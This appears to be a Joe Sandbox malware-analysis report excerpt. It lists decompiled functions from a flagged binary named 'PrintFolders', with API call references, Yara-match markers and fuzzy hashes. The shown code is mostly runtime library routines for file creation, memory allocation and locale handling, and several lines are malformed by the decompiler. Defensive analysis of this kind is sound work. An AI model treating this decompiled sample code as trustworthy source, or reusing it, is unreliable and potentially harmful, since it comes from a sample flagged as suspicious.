                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: AllocateHeap
                                                          • String ID:
                                                          • API String ID: 1279760036-0
                                                          • Opcode ID: 9bc71e6e4ec6e68a8c2aed3646502ff683cefb7352d8620f7e826d587402586a
                                                          • Instruction ID: 67f11896f8f7d2121f3f4df057540a061ed8fd880985c25efa2fb590a71935ec
                                                          • Opcode Fuzzy Hash: 9bc71e6e4ec6e68a8c2aed3646502ff683cefb7352d8620f7e826d587402586a
                                                          • Instruction Fuzzy Hash: 82E0E53524D6216AF751D6618C4474A3A88FB413F0F324120FE8C9208CDE64DE0083E0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00428377(WCHAR* _a4, struct _SECURITY_ATTRIBUTES* _a8, long _a16, long _a20, long _a24, signed int _a28, signed int _a32) {
                                                          				void* _t10;
                                                          
                                                          				_t10 = CreateFileW(_a4, _a16, _a24, _a8, _a20, _a28 | _a32, 0); // executed
                                                          				return _t10;
                                                          			}




                                                          0x00428394
                                                          0x0042839b

                                                          APIs
                                                          • CreateFileW.KERNEL32(00000000,00000000,?,00428767,?,?,00000000,?,00428767,00000000,0000000C), ref: 00428394
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CreateFile
                                                          • String ID:
                                                          • API String ID: 823142352-0
                                                          • Opcode ID: b718aefa274249b92c0224c2ff73fbbbd694e56a9348850d4764fd55e00e249d
                                                          • Instruction ID: 6a3501348c7adacfcd1c424c20773ecf10769bdff7a35cf21c7a2e113d4d802e
                                                          • Opcode Fuzzy Hash: b718aefa274249b92c0224c2ff73fbbbd694e56a9348850d4764fd55e00e249d
                                                          • Instruction Fuzzy Hash: 19D06C3210014DFBDF128F85DC06EDA3BAAFB48714F014010BA1856060C772E822AB95
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E100069B0(intOrPtr _a4) {
                                                          				intOrPtr _v8;
                                                          				void* _t5;
                                                          
                                                          				_v8 = 0;
                                                          				_t5 = E10008701(_a4); // executed
                                                          				return _t5;
                                                          			}





                                                          0x100069b9
                                                          0x100069c3
                                                          0x100069ca

                                                          APIs
                                                          • _free.LIBCMT ref: 100069C3
                                                            • Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
                                                            • Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: ErrorFreeHeapLast_free
                                                          • String ID:
                                                          • API String ID: 1353095263-0
                                                          • Opcode ID: 4a8faf65200c92b95d684da80c623e720def96cf622f0f76f7dc9a0cc9b61c85
                                                          • Instruction ID: c6a98ba0e5363ae005110d363abbfc5d7111903c5cce904da764f3f1e972a342
                                                          • Opcode Fuzzy Hash: 4a8faf65200c92b95d684da80c623e720def96cf622f0f76f7dc9a0cc9b61c85
                                                          • Instruction Fuzzy Hash: 8CC08C31000208FBDB00CB41C846A4E7BA8EB803A4F300044F40417240CAB2FF009A90
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00402E90(void* _a4, long _a8, long _a12, long _a16) {
                                                          				void* _t5;
                                                          
                                                          				_t5 = VirtualAlloc(_a4, _a8, _a12, _a16); // executed
                                                          				return _t5;
                                                          			}




                                                          0x00402e9f
                                                          0x00402ea6

                                                          APIs
                                                          • VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402E9F
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: AllocVirtual
                                                          • String ID:
                                                          • API String ID: 4275171209-0
                                                          • Opcode ID: 213a422f90c8c6353df42cf4beb6bca1ece7b85540c8c8c994e7d48a5d8c3a30
                                                          • Instruction ID: b31a385f3b57fd4fd7166e142863b1bbbb6af29b0bf7193fe4047b5eb220286a
                                                          • Opcode Fuzzy Hash: 213a422f90c8c6353df42cf4beb6bca1ece7b85540c8c8c994e7d48a5d8c3a30
                                                          • Instruction Fuzzy Hash: CAC0483200020DFBCF025F82EC048DA3F2AFB08261B408024FA1C04030C7739972ABAA
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00402EB0(void* _a4, long _a8, long _a12) {
                                                          				int _t4;
                                                          
                                                          				_t4 = VirtualFree(_a4, _a8, _a12); // executed
                                                          				return _t4;
                                                          			}




                                                          0x00402ebc
                                                          0x00402ec3

                                                          APIs
                                                          • VirtualFree.KERNELBASE(?,?,?), ref: 00402EBC
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: FreeVirtual
                                                          • String ID:
                                                          • API String ID: 1263568516-0
                                                          • Opcode ID: 9e517827ee14b2795f6c39b1ac259b67fb15a98946d76ce23e4192bd4712f48a
                                                          • Instruction ID: bdb844541333acea6d7cc9b38086a4600084955ffe6c4e25b5f0fe259d46e886
                                                          • Opcode Fuzzy Hash: 9e517827ee14b2795f6c39b1ac259b67fb15a98946d76ce23e4192bd4712f48a
                                                          • Instruction Fuzzy Hash: E4B0483200020CBB8F021F82EC048993F2AFB08260B448420FA180502087729522AB84
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 70%
                                                          			E00426D9F(void* __ecx, void* __edx, void* __eflags, intOrPtr* _a4, signed short* _a8, intOrPtr _a12) {
                                                          				intOrPtr* _v8;
                                                          				short _v12;
                                                          				signed int _v32;
                                                          				intOrPtr _v40;
                                                          				signed int _v52;
                                                          				char _v272;
                                                          				short _v292;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t33;
                                                          				short* _t34;
                                                          				intOrPtr* _t35;
                                                          				void* _t37;
                                                          				intOrPtr* _t38;
                                                          				signed short _t39;
                                                          				signed short* _t42;
                                                          				intOrPtr _t45;
                                                          				void* _t47;
                                                          				signed int _t50;
                                                          				void* _t52;
                                                          				signed int _t56;
                                                          				void* _t68;
                                                          				void* _t72;
                                                          				void* _t73;
                                                          				void* _t77;
                                                          				intOrPtr* _t84;
                                                          				short* _t86;
                                                          				void* _t88;
                                                          				intOrPtr* _t91;
                                                          				intOrPtr* _t95;
                                                          				short _t113;
                                                          				void* _t114;
                                                          				intOrPtr* _t116;
                                                          				intOrPtr _t119;
                                                          				signed int* _t120;
                                                          				void* _t121;
                                                          				intOrPtr* _t123;
                                                          				signed short _t125;
                                                          				int _t127;
                                                          				void* _t128;
                                                          				void* _t131;
                                                          				signed int _t132;
                                                          
                                                          				_push(__ecx);
                                                          				_push(__ecx);
                                                          				_t84 = _a4;
                                                          				_t33 = E0041CB63(__ecx, __edx);
                                                          				_t113 = 0;
                                                          				_v12 = 0;
                                                          				_t3 = _t33 + 0x50; // 0x50
                                                          				_t123 = _t3;
                                                          				_t4 = _t123 + 0x250; // 0x2a0
                                                          				_t34 = _t4;
                                                          				 *((intOrPtr*)(_t123 + 8)) = 0;
                                                          				 *_t34 = 0;
                                                          				_t6 = _t123 + 4; // 0x54
                                                          				_t116 = _t6;
                                                          				_v8 = _t34;
                                                          				_t91 = _t84;
                                                          				_t35 = _t84 + 0x80;
                                                          				 *_t123 = _t84;
                                                          				 *_t116 = _t35;
                                                          				if( *_t35 != 0) {
                                                          					E00426D32(0x4328d0, 0x16, _t116);
                                                          					_t91 =  *_t123;
                                                          					_t131 = _t131 + 0xc;
                                                          					_t113 = 0;
                                                          				}
                                                          				_push(_t123);
                                                          				if( *_t91 == _t113) {
                                                          					E004266A3(_t84, _t91);
                                                          					goto L12;
                                                          				} else {
                                                          					if( *((intOrPtr*)( *_t116)) == _t113) {
                                                          						E004267C3();
                                                          					} else {
                                                          						E0042672A(_t91);
                                                          					}
                                                          					if( *((intOrPtr*)(_t123 + 8)) == 0) {
                                                          						_t77 = E00426D32("\xef\xbf\xbd)C", 0x40,						_t131 = _t131 + 0xc;
                                                          						if(_t77 != 0) {
                                                          							_push(_t123);
                                                          							if( *((intOrPtr*)( *_t116)) == 0) {
                                                          								E004267C3();
                                                          							} else {
                                                          								E0042672A(0);
                                                          							}
                                                          							L12:
                                                          						}
                                                          					}
                                                          				}
                                                          				if( *((intOrPtr*)(_t123 + 8)) == 0) {
                                                          					L37:
                                                          					_t37 = 0;
                                                          					goto L38;
                                                          				} else {
                                                          					_t38 = _t84 + 0x100;
                                                          					if( *_t84 != 0 ||  *_t38 != 0) {
                                                          						_t39 = E00426BEF(_t38, _t123);
                                                          					} else {
                                                          						_t39 = GetACP();
                                                          					}
                                                          					_t125 = _t39;
                                                          					if(_t125 == 0 || _t125 == 0xfde8 || IsValidCodePage(_t125 & 0x0000ffff) == 0) {
                                                          						goto L37;
                                                          					} else {
                                                          						_t42 = _a8;
                                                          						if(_t42 != 0) {
                                                          							 *_t42 = _t125;
                                                          						}
                                                          						_t119 = _a12;
                                                          						if(_t119 == 0) {
                                                          							L36:
                                                          							_t37 = 1;
                                                          							L38:
                                                          							return _t37;
                                                          						} else {
                                                          							_t95 = _v8;
                                                          							_t15 = _t119 + 0x120; // 0xd0
                                                          							_t86 = _t15;
                                                          							 *_t86 = 0;
                                                          							_t16 = _t95 + 2; // 0x2
                                                          							_t114 = _t16;
                                                          							do {
                                                          								_t45 =  *_t95;
                                                          								_t95 = _t95 + 2;
                                                          							} while (_t45 != _v12);
                                                          							_t18 = (_t95 - _t114 >> 1) + 1; // -1
                                                          							_t47 = E004251DD(_t86, 0x55, _v8);
                                                          							_t132 = _t131 + 0x10;
                                                          							if(_t47 != 0) {
                                                          								L39:
                                                          								_push(0);
                                                          								_push(0);
                                                          								_push(0);
                                                          								_push(0);
                                                          								_push(0);
                                                          								E00413544();
                                                          								asm("int3");
                                                          								_t130 = _t132;
                                                          								_t50 =  *0x43d054; // 0x6e36c9b5
                                                          								_v52 = _t50 ^ _t132;
                                                          								_push(_t86);
                                                          								_push(_t125);
                                                          								_push(_t119);
                                                          								_t52 = E0041CB63(_t97, _t114);
                                                          								_t87 = _t52;
                                                          								_t120 =  *(E0041CB63(_t97, _t114) + 0x34c);
                                                          								_t127 = E004274DA(_v40);
                                                          								asm("sbb ecx, ecx");
                                                          								_t56 = GetLocaleInfoW(_t127, ( ~( *(_t52 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
                                                          								if(_t56 != 0) {
                                                          									if(E004239E2(_t120, _t127,  *((intOrPtr*)(_t87 + 0x54)),  &_v272) == 0 && E0042760C(_t127) != 0) {
                                                          										 *_t120 =  *_t120 | 0x00000004;
                                                          										_t120[2] = _t127;
                                                          										_t120[1] = _t127;
                                                          									}
                                                          									_t62 =  !( *_t120 >> 2) & 0x00000001;
                                                          								} else {
                                                          									 *_t120 =  *_t120 & _t56;
                                                          									_t62 = _t56 + 1;
                                                          								}
                                                          								_pop(_t121);
                                                          								_pop(_t128);
                                                          								_pop(_t88);
                                                          								return E0040EBBF(_t62, _t88, _v32 ^ _t130, _t114, _t121, _t128);
                                                          							} else {
                                                          								if(E0041E821(_t86, 0x1001, _t119, 0x40) == 0) {
                                                          									goto L37;
                                                          								} else {
                                                          									_t20 = _t119 + 0x80; // 0x30
                                                          									_t86 = _t20;
                                                          									_t21 = _t119 + 0x120; // 0xd0
                                                          									if(E0041E821(_t21, 0x1002, _t86, 0x40) == 0) {
                                                          										goto L37;
                                                          									} else {
                                                          										_push(0x5f);
                                                          										_t68 = E0042C127(_t97);
                                                          										_t97 = _t86;
                                                          										if(_t68 != 0) {
                                                          											L31:
                                                          											_t22 = _t119 + 0x120; // 0xd0
                                                          											if(E0041E821(_t22, 7, _t86, 0x40) == 0) {
                                                          												goto L37;
                                                          											} else {
                                                          												goto L32;
                                                          											}
                                                          										} else {
                                                          											_push(0x2e);
                                                          											_t73 = E0042C127(_t97);
                                                          											_t97 = _t86;
                                                          											if(_t73 == 0) {
                                                          												L32:
                                                          												_t119 = _t119 + 0x100;
                                                          												if(_t125 != 0xfde9) {
                                                          													E00413338(_t97, _t125, _t119, 0x10, 0xa);
                                                          													goto L36;
                                                          												} else {
                                                          													_push(5);
                                                          													_t72 = E004251DD(_t119, 0x10, L"utf8");
                                                          													_t132 = _t132 + 0x10;
                                                          													if(_t72 != 0) {
                                                          														goto L39;
                                                          													} else {
                                                          														goto L36;
                                                          													}
                                                          												}
                                                          											} else {
                                                          												goto L31;
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          			}















































                                                          0x00426da4
                                                          0x00426da5
                                                          0x00426da7
                                                          0x00426dac
                                                          0x00426db3
                                                          0x00426db5
                                                          0x00426db8
                                                          0x00426db8
                                                          0x00426dbb
                                                          0x00426dbb
                                                          0x00426dc1
                                                          0x00426dc4
                                                          0x00426dc7
                                                          0x00426dc7
                                                          0x00426dca
                                                          0x00426dcd
                                                          0x00426dcf
                                                          0x00426dd5
                                                          0x00426dd7
                                                          0x00426ddc
                                                          0x00426de6
                                                          0x00426deb
                                                          0x00426ded
                                                          0x00426df0
                                                          0x00426df0
                                                          0x00426df2
                                                          0x00426df6
                                                          0x00426e3f
                                                          0x00000000
                                                          0x00426df8
                                                          0x00426dfd
                                                          0x00426e06
                                                          0x00426dff
                                                          0x00426dff
                                                          0x00426dff
                                                          0x00426e11
                                                          0x00426e1b
                                                          0x00426e20
                                                          0x00426e25
                                                          0x00426e2b
                                                          0x00426e2f
                                                          0x00426e38
                                                          0x00426e31
                                                          0x00426e31
                                                          0x00426e31
                                                          0x00426e44
                                                          0x00426e44
                                                          0x00426e25
                                                          0x00426e11
                                                          0x00426e4a
                                                          0x00426f86
                                                          0x00426f86
                                                          0x00000000
                                                          0x00426e50
                                                          0x00426e50
                                                          0x00426e59
                                                          0x00426e6a
                                                          0x00426e60
                                                          0x00426e60
                                                          0x00426e60
                                                          0x00426e71
                                                          0x00426e75
                                                          0x00000000
                                                          0x00426e99
                                                          0x00426e99
                                                          0x00426e9e
                                                          0x00426ea0
                                                          0x00426ea0
                                                          0x00426ea2
                                                          0x00426ea7
                                                          0x00426f81
                                                          0x00426f83
                                                          0x00426f88
                                                          0x00426f8c
                                                          0x00426ead
                                                          0x00426ead
                                                          0x00426eb0
                                                          0x00426eb0
                                                          0x00426eb8
                                                          0x00426ebb
                                                          0x00426ebb
                                                          0x00426ebe
                                                          0x00426ebe
                                                          0x00426ec1
                                                          0x00426ec4
                                                          0x00426ece
                                                          0x00426ed8
                                                          0x00426edd
                                                          0x00426ee2
                                                          0x00426f8d
                                                          0x00426f8f
                                                          0x00426f90
                                                          0x00426f91
                                                          0x00426f92
                                                          0x00426f93
                                                          0x00426f94
                                                          0x00426f99
                                                          0x00426f9d
                                                          0x00426fa5
                                                          0x00426fac
                                                          0x00426faf
                                                          0x00426fb0
                                                          0x00426fb4
                                                          0x00426fb5
                                                          0x00426fba
                                                          0x00426fc2
                                                          0x00426fd1
                                                          0x00426fdd
                                                          0x00426fee
                                                          0x00426ff6
                                                          0x00427010
                                                          0x0042701d
                                                          0x00427020
                                                          0x00427023
                                                          0x00427023
                                                          0x0042702d
                                                          0x00426ff8
                                                          0x00426ff8
                                                          0x00426ffa
                                                          0x00426ffa
                                                          0x00427033
                                                          0x00427034
                                                          0x00427037
                                                          0x0042703e
                                                          0x00426ee8
                                                          0x00426ef8
                                                          0x00000000
                                                          0x00426efe
                                                          0x00426f00
                                                          0x00426f00
                                                          0x00426f0c
                                                          0x00426f1a
                                                          0x00000000
                                                          0x00426f1c
                                                          0x00426f1c
                                                          0x00426f1f
                                                          0x00426f25
                                                          0x00426f28
                                                          0x00426f38
                                                          0x00426f3d
                                                          0x00426f4b
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00426f2a
                                                          0x00426f2a
                                                          0x00426f2d
                                                          0x00426f33
                                                          0x00426f36
                                                          0x00426f4d
                                                          0x00426f4d
                                                          0x00426f59
                                                          0x00426f79
                                                          0x00000000
                                                          0x00426f5b
                                                          0x00426f5b
                                                          0x00426f65
                                                          0x00426f6a
                                                          0x00426f6f
                                                          0x00000000
                                                          0x00426f71
                                                          0x00000000
                                                          0x00426f71
                                                          0x00426f6f
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00426f36
                                                          0x00426f28
                                                          0x00426f1a
                                                          0x00426ef8
                                                          0x00426ee2
                                                          0x00426ea7
                                                          0x00426e75

                                                          APIs
                                                            • Part of subcall function 0041CB63: GetLastError.KERNEL32(?,?,?,00413661,?,00000000,00405D9E,?,00418194,?,00000000,76686490,?,0041828D,00405D9E,00000000), ref: 0041CB68
                                                            • Part of subcall function 0041CB63: SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418194,?,00000000,76686490,?,0041828D,00405D9E,00000000,?,00405D9E,?), ref: 0041CC06
                                                          • GetACP.KERNEL32(?,?,?,?,?,?,0041B763,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 00426E60
                                                          • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0041B763,?,?,?,00000055,?,-00000050,?,?), ref: 00426E8B
                                                          • _wcschr.LIBVCRUNTIME ref: 00426F1F
                                                          • _wcschr.LIBVCRUNTIME ref: 00426F2D
                                                          • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00426FEE
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
                                                          • String ID: utf8$)C
                                                          • API String ID: 4147378913-3322961178
                                                          • Opcode ID: 20ef76e225b801900a59ab0872716af096e09f6a96c791c1d4433a4f633c1a20
                                                          • Instruction ID: eed4488de9b567759dd5ff52785522d47d8f7e060e054a56165183b34d5168a2
                                                          • Opcode Fuzzy Hash: 20ef76e225b801900a59ab0872716af096e09f6a96c791c1d4433a4f633c1a20
                                                          • Instruction Fuzzy Hash: 2C711935B00222AADB24AF35ED42BB773A8EF44704F56406BF905D7281EB7CE941875D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 90%
                                                          			E00427700(void* __ecx, void* __edx, void* __eflags, signed short _a4, short* _a8, short* _a12) {
                                                          				signed int _v8;
                                                          				int _v12;
                                                          				int _v16;
                                                          				char _v20;
                                                          				signed short* _v24;
                                                          				short* _v28;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t39;
                                                          				void* _t45;
                                                          				signed short* _t46;
                                                          				signed short _t47;
                                                          				short* _t48;
                                                          				int _t49;
                                                          				void* _t53;
                                                          				short* _t55;
                                                          				short* _t56;
                                                          				short* _t57;
                                                          				int _t64;
                                                          				int _t66;
                                                          				short* _t70;
                                                          				intOrPtr _t73;
                                                          				void* _t75;
                                                          				short* _t76;
                                                          				intOrPtr _t83;
                                                          				short* _t86;
                                                          				short* _t89;
                                                          				short** _t99;
                                                          				short* _t100;
                                                          				signed short _t101;
                                                          				signed int _t104;
                                                          				void* _t105;
                                                          
                                                          				_t39 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t39 ^ _t104;
                                                          				_t86 = _a12;
                                                          				_t101 = _a4;
                                                          				_v28 = _a8;
                                                          				_v24 = E0041CB63(__ecx, __edx) + 0x50;
                                                          				asm("stosd");
                                                          				asm("stosd");
                                                          				asm("stosd");
                                                          				_t45 = E0041CB63(__ecx, __edx);
                                                          				_t97 = 0;
                                                          				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
                                                          				_t89 = _t101 + 0x80;
                                                          				_t46 = _v24;
                                                          				 *_t46 = _t101;
                                                          				_t99 =  &(_t46[2]);
                                                          				 *_t99 = _t89;
                                                          				if(_t89 != 0 &&  *_t89 != 0) {
                                                          					_t83 =  *0x4329e4; // 0x17
                                                          					E0042769F(_t89, 0, 0x4328d0, _t83 - 1, _t99);
                                                          					_t46 = _v24;
                                                          					_t105 = _t105 + 0xc;
                                                          					_t97 = 0;
                                                          				}
                                                          				_v20 = _t97;
                                                          				_t47 =  *_t46;
                                                          				if(_t47 == 0 ||  *_t47 == _t97) {
                                                          					_t48 =  *_t99;
                                                          					__eflags = _t48;
                                                          					if(_t48 == 0) {
                                                          						L19:
                                                          						_v20 = 0x104;
                                                          						_t49 = GetUserDefaultLCID();
                                                          						_v12 = _t49;
                                                          						_v16 = _t49;
                                                          						goto L20;
                                                          					}
                                                          					__eflags =  *_t48 - _t97;
                                                          					if(__eflags == 0) {
                                                          						goto L19;
                                                          					}
                                                          					E00427041(_t89, _t97, __eflags,  &_v20);
                                                          					_pop(_t89);
                                                          					goto L20;
                                                          				} else {
                                                          					_t70 =  *_t99;
                                                          					if(_t70 == 0) {
                                                          						L8:
                                                          						E00427127(_t89, _t97, __eflags,  &_v20);
                                                          						L9:
                                                          						_pop(_t89);
                                                          						if(_v20 != 0) {
                                                          							_t100 = 0;
                                                          							__eflags = 0;
                                                          							L25:
                                                          							asm("sbb esi, esi");
                                                          							_t101 = E0042752B(_t89,  ~_t101 & _t101 + 0x00000100,  &_v20);
                                                          							__eflags = _t101;
                                                          							if(_t101 == 0) {
                                                          								L22:
                                                          								_t53 = 0;
                                                          								L23:
                                                          								return E0040EBBF(_t53, _t86, _v8 ^ _t104, _t97, _t100, _t101);
                                                          							}
                                                          							_t55 = IsValidCodePage(_t101 & 0x0000ffff);
                                                          							__eflags = _t55;
                                                          							if(_t55 == 0) {
                                                          								goto L22;
                                                          							}
                                                          							_t56 = IsValidLocale(_v16, 1);
                                                          							__eflags = _t56;
                                                          							if(_t56 == 0) {
                                                          								goto L22;
                                                          							}
                                                          							_t57 = _v28;
                                                          							__eflags = _t57;
                                                          							if(_t57 != 0) {
                                                          								 *_t57 = _t101;
                                                          							}
                                                          							E0041E91F(_v16,  &(_v24[0x128]), 0x55, _t100);
                                                          							__eflags = _t86;
                                                          							if(_t86 == 0) {
                                                          								L34:
                                                          								_t53 = 1;
                                                          								goto L23;
                                                          							}
                                                          							_t33 =  &(_t86[0x90]); // 0xd0
                                                          							E0041E91F(_v16, _t33, 0x55, _t100);
                                                          							_t64 = GetLocaleInfoW(_v16, 0x1001, _t86, 0x40);
                                                          							__eflags = _t64;
                                                          							if(_t64 == 0) {
                                                          								goto L22;
                                                          							}
                                                          							_t36 =  &(_t86[0x40]); // 0x30
                                                          							_t66 = GetLocaleInfoW(_v12, 0x1002, _t36, 0x40);
                                                          							__eflags = _t66;
                                                          							if(_t66 == 0) {
                                                          								goto L22;
                                                          							}
                                                          							_t38 =  &(_t86[0x80]); // 0xb0
                                                          							E00413338(_t38, _t101, _t38, 0x10, 0xa);
                                                          							goto L34;
                                                          						}
                                                          						_t73 =  *0x4328cc; // 0x41
                                                          						_t75 = E0042769F(_t89, _t97, "\xef\xbf\xbd)C", _t73 - 1						_t105 = _t105 + 0xc;
                                                          						if(_t75 == 0) {
                                                          							L20:
                                                          							_t100 = 0;
                                                          							__eflags = 0;
                                                          							L21:
                                                          							if(_v20 != 0) {
                                                          								goto L25;
                                                          							}
                                                          							goto L22;
                                                          						}
                                                          						_t76 =  *_t99;
                                                          						_t100 = 0;
                                                          						if(_t76 == 0) {
                                                          							L14:
                                                          							E00427127(_t89, _t97, __eflags,  &_v20);
                                                          							L15:
                                                          							_pop(_t89);
                                                          							goto L21;
                                                          						}
                                                          						_t118 =  *_t76;
                                                          						if( *_t76 == 0) {
                                                          							goto L14;
                                                          						}
                                                          						E0042708C(_t89, _t97, _t118,  &_v20);
                                                          						goto L15;
                                                          					}
                                                          					_t114 =  *_t70 - _t97;
                                                          					if( *_t70 == _t97) {
                                                          						goto L8;
                                                          					}
                                                          					E0042708C(_t89, _t97, _t114,  &_v20);
                                                          					goto L9;
                                                          				}
                                                          			}





































                                                          0x00427708
                                                          0x0042770f
                                                          0x00427716
                                                          0x0042771a
                                                          0x0042771e
                                                          0x0042772c
                                                          0x00427731
                                                          0x00427732
                                                          0x00427733
                                                          0x00427734
                                                          0x0042773c
                                                          0x0042773e
                                                          0x00427744
                                                          0x0042774a
                                                          0x0042774d
                                                          0x0042774f
                                                          0x00427752
                                                          0x00427756
                                                          0x0042775d
                                                          0x0042776a
                                                          0x0042776f
                                                          0x00427772
                                                          0x00427775
                                                          0x00427775
                                                          0x00427777
                                                          0x0042777a
                                                          0x0042777e
                                                          0x004277ee
                                                          0x004277f0
                                                          0x004277f2
                                                          0x00427805
                                                          0x00427805
                                                          0x0042780c
                                                          0x00427812
                                                          0x00427815
                                                          0x00000000
                                                          0x00427815
                                                          0x004277f4
                                                          0x004277f7
                                                          0x00000000
                                                          0x00000000
                                                          0x004277fd
                                                          0x00427802
                                                          0x00000000
                                                          0x00427785
                                                          0x00427785
                                                          0x00427789
                                                          0x0042779b
                                                          0x0042779f
                                                          0x004277a4
                                                          0x004277a8
                                                          0x004277a9
                                                          0x00427831
                                                          0x00427831
                                                          0x00427833
                                                          0x0042783f
                                                          0x00427849
                                                          0x0042784d
                                                          0x0042784f
                                                          0x00427820
                                                          0x00427820
                                                          0x00427822
                                                          0x00427830
                                                          0x00427830
                                                          0x00427855
                                                          0x0042785b
                                                          0x0042785d
                                                          0x00000000
                                                          0x00000000
                                                          0x00427864
                                                          0x0042786a
                                                          0x0042786c
                                                          0x00000000
                                                          0x00000000
                                                          0x0042786e
                                                          0x00427871
                                                          0x00427873
                                                          0x00427875
                                                          0x00427875
                                                          0x00427886
                                                          0x0042788b
                                                          0x0042788d
                                                          0x004278ed
                                                          0x004278ef
                                                          0x00000000
                                                          0x004278ef
                                                          0x00427892
                                                          0x0042789c
                                                          0x004278ac
                                                          0x004278b2
                                                          0x004278b4
                                                          0x00000000
                                                          0x00000000
                                                          0x004278bc
                                                          0x004278cb
                                                          0x004278d1
                                                          0x004278d3
                                                          0x00000000
                                                          0x00000000
                                                          0x004278dd
                                                          0x004278e5
                                                          0x00000000
                                                          0x004278ea
                                                          0x004277af
                                                          0x004277be
                                                          0x004277c3
                                                          0x004277c8
                                                          0x00427818
                                                          0x00427818
                                                          0x00427818
                                                          0x0042781a
                                                          0x0042781e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042781e
                                                          0x004277ca
                                                          0x004277cc
                                                          0x004277d0
                                                          0x004277e2
                                                          0x004277e6
                                                          0x004277eb
                                                          0x004277eb
                                                          0x00000000
                                                          0x004277eb
                                                          0x004277d2
                                                          0x004277d5
                                                          0x00000000
                                                          0x00000000
                                                          0x004277db
                                                          0x00000000
                                                          0x004277db
                                                          0x0042778b
                                                          0x0042778e
                                                          0x00000000
                                                          0x00000000
                                                          0x00427794
                                                          0x00000000
                                                          0x00427794

                                                          APIs
                                                            • Part of subcall function 0041CB63: GetLastError.KERNEL32(?,?,?,00413661,?,00000000,00405D9E,?,00418194,?,00000000,76686490,?,0041828D,00405D9E,00000000), ref: 0041CB68
                                                            • Part of subcall function 0041CB63: SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418194,?,00000000,76686490,?,0041828D,00405D9E,00000000,?,00405D9E,?), ref: 0041CC06
                                                            • Part of subcall function 0041CB63: _free.LIBCMT ref: 0041CBC5
                                                            • Part of subcall function 0041CB63: _free.LIBCMT ref: 0041CBFB
                                                          • GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0042780C
